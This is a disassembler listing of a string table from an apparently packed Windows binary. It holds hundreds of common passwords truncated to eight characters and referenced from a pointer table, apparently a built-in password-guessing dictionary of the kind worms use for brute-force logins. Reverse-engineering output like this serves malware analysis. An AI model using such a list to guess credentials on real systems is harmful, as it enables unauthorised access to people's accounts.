aPervert	db 'pervert',0          ; DATA XREF: .nsp0:00426450o
aPersona	db 'persona',0          ; DATA XREF: .nsp0:0042644Co
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:00426448o
		align 4
aPermit		db 'permit',0           ; DATA XREF: .nsp0:00426444o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:00426440o
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:0042643Co
		align 10h
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:00426438o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:00426434o
		align 10h
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:00426430o
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:0042642Co
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:00426428o
		align 10h
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:00426424o
		align 4
aPenname	db 'penname',0          ; DATA XREF: .nsp0:00426420o
aPenis		db 'penis',0            ; DATA XREF: .nsp0:0042641Co
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:00426418o
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:00426414o
		align 10h
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:00426410o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:0042640Co
		align 10h
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:00426408o
aPaula		db 'paula',0            ; DATA XREF: .nsp0:00426404o
		align 10h
aPatty		db 'patty',0            ; DATA XREF: .nsp0:00426400o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:004263FCo
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:004263F8o
		align 4
aPaste		db 'paste',0            ; DATA XREF: .nsp0:004263F4o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:004263F0o
		align 10h
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:004263ECo
		align 4
aPapers		db 'papers',0           ; DATA XREF: .nsp0:004263E8o
		align 10h
aPaper		db 'paper',0            ; DATA XREF: .nsp0:004263E4o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .nsp0:004263E0o
		align 10h
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:004263DCo
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:004263D8o
		align 4
aPaint		db 'paint',0            ; DATA XREF: .nsp0:004263D4o
		align 4
aPainless	db 'painless',0         ; DATA XREF: .nsp0:004263D0o
		align 4
aPacker		db 'packer',0           ; DATA XREF: .nsp0:004263CCo
		align 10h
aPackard	db 'packard',0          ; DATA XREF: .nsp0:004263C8o
aPacific	db 'pacific',0          ; DATA XREF: .nsp0:004263C4o
aOxford		db 'oxford',0           ; DATA XREF: .nsp0:004263C0o
		align 4
aOutside	db 'outside',0          ; DATA XREF: .nsp0:004263BCo
aOutput		db 'output',0           ; DATA XREF: .nsp0:004263B8o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .nsp0:004263B4o
		align 10h
aOutdoors	db 'outdoors',0         ; DATA XREF: .nsp0:004263B0o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: .nsp0:004263ACo
		align 4
aOscar		db 'oscar',0            ; DATA XREF: .nsp0:004263A8o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: .nsp0:004263A4o
		align 4
aOrient		db 'orient',0           ; DATA XREF: .nsp0:004263A0o
		align 4
aOrca		db 'orca',0             ; DATA XREF: .nsp0:0042639Co
		align 4
aOperator	db 'operator',0         ; DATA XREF: .nsp0:00426398o
		align 10h
aOpensesa	db 'opensesa',0         ; DATA XREF: .nsp0:00426394o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: .nsp0:00426390o
		align 4
aOpening	db 'opening',0          ; DATA XREF: .nsp0:0042638Co
aOpen		db 'open',0             ; DATA XREF: sub_401AC7+38BCo
					; sub_401AC7+5040o ...
		align 4
aOmega		db 'omega',0            ; DATA XREF: .nsp0:00426384o
		align 10h
aOlivia		db 'olivia',0           ; DATA XREF: .nsp0:00426380o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .nsp0:0042637Co
		align 4
aOldage		db 'oldage',0           ; DATA XREF: .nsp0:00426378o
		align 4
aOkay		db 'okay',0             ; DATA XREF: .nsp0:00426374o
		align 4
aOffice		db 'office',0           ; DATA XREF: .nsp0:00426370o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: .nsp0:0042636Co
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: .nsp0:00426368o
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: .nsp0:00426364o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: .nsp0:00426360o
aNuts		db 'nuts',0             ; DATA XREF: .nsp0:0042635Co
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: .nsp0:00426358o
		align 4
aNumber		db 'number',0           ; DATA XREF: .nsp0:00426354o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: .nsp0:00426350o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .nsp0:0042634Co
		align 10h
aNuke		db 'nuke',0             ; DATA XREF: .nsp0:00426348o
		align 4
aNude		db 'nude',0             ; DATA XREF: .nsp0:00426344o
		align 10h
aNuclear	db 'nuclear',0          ; DATA XREF: .nsp0:00426340o
aNoxious	db 'noxious',0          ; DATA XREF: .nsp0:0042633Co
aNovember	db 'november',0         ; DATA XREF: .nsp0:00426338o
		align 4
aNovel		db 'novel',0            ; DATA XREF: .nsp0:00426334o
		align 4
aNova		db 'nova',0             ; DATA XREF: .nsp0:00426330o
		align 4
aNoth		db 'noth',0             ; DATA XREF: .nsp0:0042632Co
		align 4
aNotes		db 'notes',0            ; DATA XREF: .nsp0:00426328o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: .nsp0:00426324o
		align 4
aNode		db 'node',0             ; DATA XREF: .nsp0:00426320o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: .nsp0:0042631Co
		align 4
aNoble		db 'noble',0            ; DATA XREF: .nsp0:00426318o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: .nsp0:00426314o
		align 4
aNita		db 'nita',0             ; DATA XREF: .nsp0:00426310o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: .nsp0:0042630Co
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .nsp0:00426308o
		align 4
aNight		db 'night',0            ; DATA XREF: .nsp0:00426304o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: .nsp0:00426300o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .nsp0:004262FCo
		align 10h
aNice		db 'nice',0             ; DATA XREF: .nsp0:004262F8o
		align 4
aNext		db 'next',0             ; DATA XREF: .nsp0:004262F4o
		align 10h
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:004262F0o
aNewton		db 'newton',0           ; DATA XREF: .nsp0:004262ECo
		align 10h
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:004262E8o
		align 4
aNews		db 'news',0             ; DATA XREF: .nsp0:004262E4o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:004262E0o
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:004262DCo
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:004262D8o
		align 10h
aNess		db 'ness',0             ; DATA XREF: .nsp0:004262D4o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:004262D0o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .nsp0:004262CCo
		align 4
aNavy		db 'navy',0             ; DATA XREF: .nsp0:004262C8o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: .nsp0:004262C4o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: .nsp0:004262C0o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:004262BCo
		align 10h
aName		db 'name',0             ; DATA XREF: .nsp0:004262B8o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:004262B4o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: .nsp0:004262B0o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .nsp0:004262ACo
aMsdos		db 'msdos',0            ; DATA XREF: .nsp0:004262A8o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .nsp0:004262A4o
		align 10h
aMozart		db 'mozart',0           ; DATA XREF: .nsp0:004262A0o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .nsp0:0042629Co
		align 10h
aMovie		db 'movie',0            ; DATA XREF: .nsp0:00426298o
		align 4
aMove		db 'move',0             ; DATA XREF: .nsp0:00426294o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: .nsp0:00426290o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .nsp0:0042628Co
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: .nsp0:00426288o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: .nsp0:00426284o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .nsp0:00426280o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: .nsp0:0042627Co
		align 4
aMorris		db 'morris',0           ; DATA XREF: .nsp0:00426278o
		align 4
aMorley		db 'morley',0           ; DATA XREF: .nsp0:00426274o
		align 4
aMore		db 'more',0             ; DATA XREF: .nsp0:00426270o
		align 4
aMoose		db 'moose',0            ; DATA XREF: .nsp0:0042626Co
		align 4
aMoor		db 'moor',0             ; DATA XREF: .nsp0:00426268o
		align 4
aMoom		db 'moom',0             ; DATA XREF: .nsp0:00426264o
		align 4
aMonica		db 'monica',0           ; DATA XREF: .nsp0:00426260o
		align 4
aMonday		db 'monday',0           ; DATA XREF: .nsp0:0042625Co
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:00426258o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:00426254o
		align 4
aModem		db 'modem',0            ; DATA XREF: .nsp0:00426250o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401AC7+2DEDo
					; sub_401AC7+4045o ...
		align 4
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:00426248o
		align 4
aMission	db 'mission',0          ; DATA XREF: .nsp0:00426244o
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:00426240o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:0042623Co
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:00426238o
aMine		db 'mine',0             ; DATA XREF: .nsp0:00426234o
		align 4
aMike		db 'mike',0             ; DATA XREF: .nsp0:00426230o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:0042622Co
		align 10h
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:00426228o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:00426224o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:00426220o
		align 4
aMicro		db 'micro',0            ; DATA XREF: .nsp0:0042621Co
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:00426218o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:00426214o
		align 10h
aMichele	db 'michele',0          ; DATA XREF: .nsp0:00426210o
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:0042620Co
		align 4
aMichel		db 'michel',0           ; DATA XREF: .nsp0:00426208o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .nsp0:00426204o
aMice		db 'mice',0             ; DATA XREF: .nsp0:00426200o
		align 4
aMets		db 'mets',0             ; DATA XREF: .nsp0:004261FCo
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:004261F8o
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:004261F4o
		align 4
aMetal		db 'metal',0            ; DATA XREF: .nsp0:004261F0o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:004261ECo
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:004261E8o
aMenu		db 'menu',0             ; DATA XREF: .nsp0:004261E4o
		align 4
aMenace		db 'menace',0           ; DATA XREF: .nsp0:004261E0o
		align 4
aMemory		db 'memory',0           ; DATA XREF: .nsp0:004261DCo
		align 4
aMember		db 'member',0           ; DATA XREF: .nsp0:004261D8o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:004261D4o
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:004261D0o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:004261CCo
aMegan		db 'megan',0            ; DATA XREF: .nsp0:004261C8o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:004261C4o
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:004261C0o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:004261BCo
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:004261B8o
aMath		db 'math',0             ; DATA XREF: .nsp0:004261B4o
		align 4
aMaster		db 'master',0           ; DATA XREF: .nsp0:004261B0o
		align 4
aMason		db 'mason',0            ; DATA XREF: .nsp0:004261ACo
		align 4
aMary		db 'mary',0             ; DATA XREF: .nsp0:004261A8o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:004261A4o
		align 4
aMarty		db 'marty',0            ; DATA XREF: .nsp0:004261A0o
		align 4
aMars		db 'mars',0             ; DATA XREF: .nsp0:0042619Co
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:00426198o
		align 10h
aMarni		db 'marni',0            ; DATA XREF: .nsp0:00426194o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:00426190o
		align 10h
aMark		db 'mark',0             ; DATA XREF: .nsp0:0042618Co
		align 4
aMarines	db 'marines',0          ; DATA XREF: .nsp0:00426188o
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:00426184o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:00426180o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:0042617Co
aMaria		db 'maria',0            ; DATA XREF: .nsp0:00426178o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:00426174o
					; .nsp0:00438A94o
		align 10h
aMarci		db 'marci',0            ; DATA XREF: .nsp0:00426170o
		align 4
aMara		db 'mara',0             ; DATA XREF: .nsp0:0042616Co
		align 10h
aManager	db 'manager',0          ; DATA XREF: .nsp0:00426168o
aMana		db 'mana',0             ; DATA XREF: .nsp0:00426164o
		align 10h
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:00426160o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:0042615Co
aMaint		db 'maint',0            ; DATA XREF: .nsp0:00426158o
		align 4
aMail		db 'mail',0             ; DATA XREF: .nsp0:00426154o
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:00426150o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .nsp0:0042614Co
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:00426148o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .nsp0:00426144o
		align 10h
aMack		db 'mack',0             ; DATA XREF: .nsp0:00426140o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:0042613Co
		align 4
aMachine	db 'machine',0          ; DATA XREF: .nsp0:00426138o
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:00426134o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:00426130o
		align 4
aLust		db 'lust',0             ; DATA XREF: .nsp0:0042612Co
		align 4
aLuke		db 'luke',0             ; DATA XREF: .nsp0:00426128o
		align 4
aLude		db 'lude',0             ; DATA XREF: .nsp0:00426124o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:00426120o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:0042611Co
		align 4
aLuck		db 'luck',0             ; DATA XREF: .nsp0:00426118o
		align 4
aLover		db 'lover',0            ; DATA XREF: .nsp0:00426114o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:00426110o
aLouis		db 'louis',0            ; DATA XREF: .nsp0:0042610Co
		align 4
aLoser		db 'loser',0            ; DATA XREF: .nsp0:00426108o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:00426104o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:00426100o
		align 10h
aLori		db 'lori',0             ; DATA XREF: .nsp0:004260FCo
		align 4
aLore		db 'lore',0             ; DATA XREF: .nsp0:004260F8o
		align 10h
aLoose		db 'loose',0            ; DATA XREF: .nsp0:004260F4o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:004260F0o
		align 10h
aLois		db 'lois',0             ; DATA XREF: .nsp0:004260ECo
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401AC7+C70o
					; .nsp0:004260E8o
		align 10h
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:004260E4o
		align 4
aLogic		db 'logic',0            ; DATA XREF: .nsp0:004260E0o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:004260DCo
		align 10h
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:004260D8o
aLock		db 'lock',0             ; DATA XREF: .nsp0:004260D4o
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401AC7+2C2Co
					; .nsp0:004260D0o
		align 4
aLive		db 'live',0             ; DATA XREF: .nsp0:004260CCo
		align 10h
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:004260C8o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:004260C4o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:004260C0o
		align 4
aLips		db 'lips',0             ; DATA XREF: .nsp0:004260BCo
		align 4
aLion		db 'lion',0             ; DATA XREF: .nsp0:004260B8o
		align 4
aLink		db 'link',0             ; DATA XREF: .nsp0:004260B4o
		align 4
aLinda		db 'linda',0            ; DATA XREF: .nsp0:004260B0o
		align 4
aLimited	db 'limited',0          ; DATA XREF: .nsp0:004260ACo
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:004260A8o
		align 10h
aLima		db 'lima',0             ; DATA XREF: .nsp0:004260A4o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:004260A0o
		align 4
aLight		db 'light',0            ; DATA XREF: .nsp0:0042609Co
		align 4
aLife		db 'life',0             ; DATA XREF: .nsp0:00426098o
		align 4
aLicker		db 'licker',0           ; DATA XREF: .nsp0:00426094o
		align 4
aLick		db 'lick',0             ; DATA XREF: .nsp0:00426090o
		align 4
aLibrary	db 'library',0          ; DATA XREF: .nsp0:0042608Co
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:00426088o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:00426084o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:00426080o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:0042607Co
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:00426078o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:00426074o
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:00426070o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .nsp0:0042606Co
		align 10h
aLegal		db 'legal',0            ; DATA XREF: .nsp0:00426068o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:00426064o
		align 4
aLeft		db 'left',0             ; DATA XREF: .nsp0:00426060o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: .nsp0:0042605Co
		align 4
aLeah		db 'leah',0             ; DATA XREF: .nsp0:00426058o
		align 10h
aLazer		db 'lazer',0            ; DATA XREF: .nsp0:00426054o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .nsp0:00426050o
aLava		db 'lava',0             ; DATA XREF: .nsp0:0042604Co
		align 4
aLaura		db 'laura',0            ; DATA XREF: .nsp0:00426048o
		align 10h
aLaser		db 'laser',0            ; DATA XREF: .nsp0:00426044o
		align 4
aLarry		db 'larry',0            ; DATA XREF: .nsp0:00426040o
		align 10h
aLarkin		db 'larkin',0           ; DATA XREF: .nsp0:0042603Co
		align 4
aLara		db 'lara',0             ; DATA XREF: .nsp0:00426038o
		align 10h
aLaptop		db 'laptop',0           ; DATA XREF: .nsp0:00426034o
		align 4
aLana		db 'lana',0             ; DATA XREF: .nsp0:00426030o
		align 10h
aLaminati	db 'laminati',0         ; DATA XREF: .nsp0:0042602Co
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .nsp0:00426028o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: .nsp0:00426024o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .nsp0:00426020o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: .nsp0:0042601Co
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .nsp0:00426018o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: .nsp0:00426014o
		align 10h
aKristin	db 'kristin',0          ; DATA XREF: .nsp0:00426010o
aKristie	db 'kristie',0          ; DATA XREF: .nsp0:0042600Co
aKristi		db 'kristi',0           ; DATA XREF: .nsp0:00426008o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .nsp0:00426004o
aKrista		db 'krista',0           ; DATA XREF: .nsp0:00426000o
		align 4
aKnown		db 'known',0            ; DATA XREF: .nsp0:00425FFCo
		align 10h
aKnightma	db 'knightma',0         ; DATA XREF: .nsp0:00425FF8o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .nsp0:00425FF4o
		align 4
aKnife		db 'knife',0            ; DATA XREF: .nsp0:00425FF0o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .nsp0:00425FECo
aKitten		db 'kitten',0           ; DATA XREF: .nsp0:00425FE8o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .nsp0:00425FE4o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .nsp0:00425FE0o
		align 10h
aKirkland	db 'kirkland',0         ; DATA XREF: .nsp0:00425FDCo
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .nsp0:00425FD8o
		align 4
aKing		db 'king',0             ; DATA XREF: .nsp0:00425FD4o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .nsp0:00425FD0o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: .nsp0:00425FCCo
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: .nsp0:00425FC8o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401AC7+3964o
					; .nsp0:00425FC4o
		align 4
aKids		db 'kids',0             ; DATA XREF: .nsp0:00425FC0o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .nsp0:00425FBCo
aKeyin		db 'keyin',0            ; DATA XREF: .nsp0:00425FB8o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .nsp0:00425FB4o
aKewl		db 'kewl',0             ; DATA XREF: .nsp0:00425FB0o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .nsp0:00425FACo
		align 4
aKerry		db 'kerry',0            ; DATA XREF: .nsp0:00425FA8o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: .nsp0:00425FA4o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: .nsp0:00425FA0o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: .nsp0:00425F9Co
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .nsp0:00425F98o
					; .nsp0:00438ABCo
		align 4
aKeri		db 'keri',0             ; DATA XREF: .nsp0:00425F94o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: .nsp0:00425F90o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: .nsp0:00425F8Co
aKatina		db 'katina',0           ; DATA XREF: .nsp0:00425F88o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: .nsp0:00425F84o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: .nsp0:00425F80o
		align 10h
aKathleen	db 'kathleen',0         ; DATA XREF: .nsp0:00425F7Co
		align 4
aKate		db 'kate',0             ; DATA XREF: .nsp0:00425F78o
		align 4
aKatana		db 'katana',0           ; DATA XREF: .nsp0:00425F74o
		align 4
aKarina		db 'karina',0           ; DATA XREF: .nsp0:00425F70o
		align 4
aKarie		db 'karie',0            ; DATA XREF: .nsp0:00425F6Co
		align 4
aKaren		db 'karen',0            ; DATA XREF: .nsp0:00425F68o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: .nsp0:00425F64o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: .nsp0:00425F60o
aJune		db 'june',0             ; DATA XREF: .nsp0:00425F5Co
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: .nsp0:00425F58o
		align 4
aJulie		db 'julie',0            ; DATA XREF: .nsp0:00425F54o
		align 4
aJulia		db 'julia',0            ; DATA XREF: .nsp0:00425F50o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: .nsp0:00425F4Co
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: .nsp0:00425F48o
		align 4
aJudy		db 'judy',0             ; DATA XREF: .nsp0:00425F44o
		align 4
aJudith		db 'judith',0           ; DATA XREF: .nsp0:00425F40o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: .nsp0:00425F3Co
		align 4
aJournal	db 'journal',0          ; DATA XREF: .nsp0:00425F38o
aJoshua		db 'joshua',0           ; DATA XREF: .nsp0:00425F34o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: .nsp0:00425F30o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: .nsp0:00425F2Co
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: .nsp0:00425F28o
aJohn		db 'john',0             ; DATA XREF: .nsp0:00425F24o
		align 4
aJody		db 'jody',0             ; DATA XREF: .nsp0:00425F20o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: .nsp0:00425F1Co
		align 4
aJixian		db 'jixian',0           ; DATA XREF: .nsp0:00425F18o
		align 4
aJill		db 'jill',0             ; DATA XREF: .nsp0:00425F14o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: .nsp0:00425F10o
aJester		db 'jester',0           ; DATA XREF: .nsp0:00425F0Co
		align 4
aJessica	db 'jessica',0          ; DATA XREF: .nsp0:00425F08o
aJerusale	db 'jerusale',0         ; DATA XREF: .nsp0:00425F04o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: .nsp0:00425F00o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: .nsp0:00425EFCo
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: .nsp0:00425EF8o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: .nsp0:00425EF4o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: .nsp0:00425EF0o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: .nsp0:00425EECo
		align 4
aJean		db 'jean',0             ; DATA XREF: .nsp0:00425EE8o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: .nsp0:00425EE4o
		align 4
aJava		db 'java',0             ; DATA XREF: .nsp0:00425EE0o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: .nsp0:00425EDCo
		align 4
aJapan		db 'japan',0            ; DATA XREF: .nsp0:00425ED8o
		align 4
aJanie		db 'janie',0            ; DATA XREF: .nsp0:00425ED4o
		align 4
aJanice		db 'janice',0           ; DATA XREF: .nsp0:00425ED0o
		align 4
aJanet		db 'janet',0            ; DATA XREF: .nsp0:00425ECCo
		align 4
aJane		db 'jane',0             ; DATA XREF: .nsp0:00425EC8o
		align 4
aJail		db 'jail',0             ; DATA XREF: .nsp0:00425EC4o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: .nsp0:00425EC0o
		align 4
aIsis		db 'isis',0             ; DATA XREF: .nsp0:00425EBCo
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: .nsp0:00425EB8o
		align 10h
aIrene		db 'irene',0            ; DATA XREF: .nsp0:00425EB4o
		align 4
aInvent		db 'invent',0           ; DATA XREF: .nsp0:00425EB0o
		align 10h
aInteger	db 'integer',0          ; DATA XREF: .nsp0:00425EACo
aInside		db 'inside',0           ; DATA XREF: .nsp0:00425EA8o
		align 10h
aInput		db 'input',0            ; DATA XREF: .nsp0:00425EA4o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: .nsp0:00425EA0o
		align 4
aInna		db 'inna',0             ; DATA XREF: .nsp0:00425E9Co
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: .nsp0:00425E98o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: .nsp0:00425E94o
aIngres		db 'ingres',0           ; DATA XREF: .nsp0:00425E90o
		align 4
aIndians	db 'indians',0          ; DATA XREF: .nsp0:00425E8Co
aIndiana	db 'indiana',0          ; DATA XREF: .nsp0:00425E88o
aIndian		db 'indian',0           ; DATA XREF: .nsp0:00425E84o
		align 4
aIndia		db 'india',0            ; DATA XREF: .nsp0:00425E80o
		align 4
aInclude	db 'include',0          ; DATA XREF: .nsp0:00425E7Co
aImperial	db 'imperial',0         ; DATA XREF: .nsp0:00425E78o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: .nsp0:00425E74o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: .nsp0:00425E70o
		align 10h
aImage		db 'image',0            ; DATA XREF: .nsp0:00425E6Co
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: .nsp0:00425E68o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: .nsp0:00425E64o
		align 10h
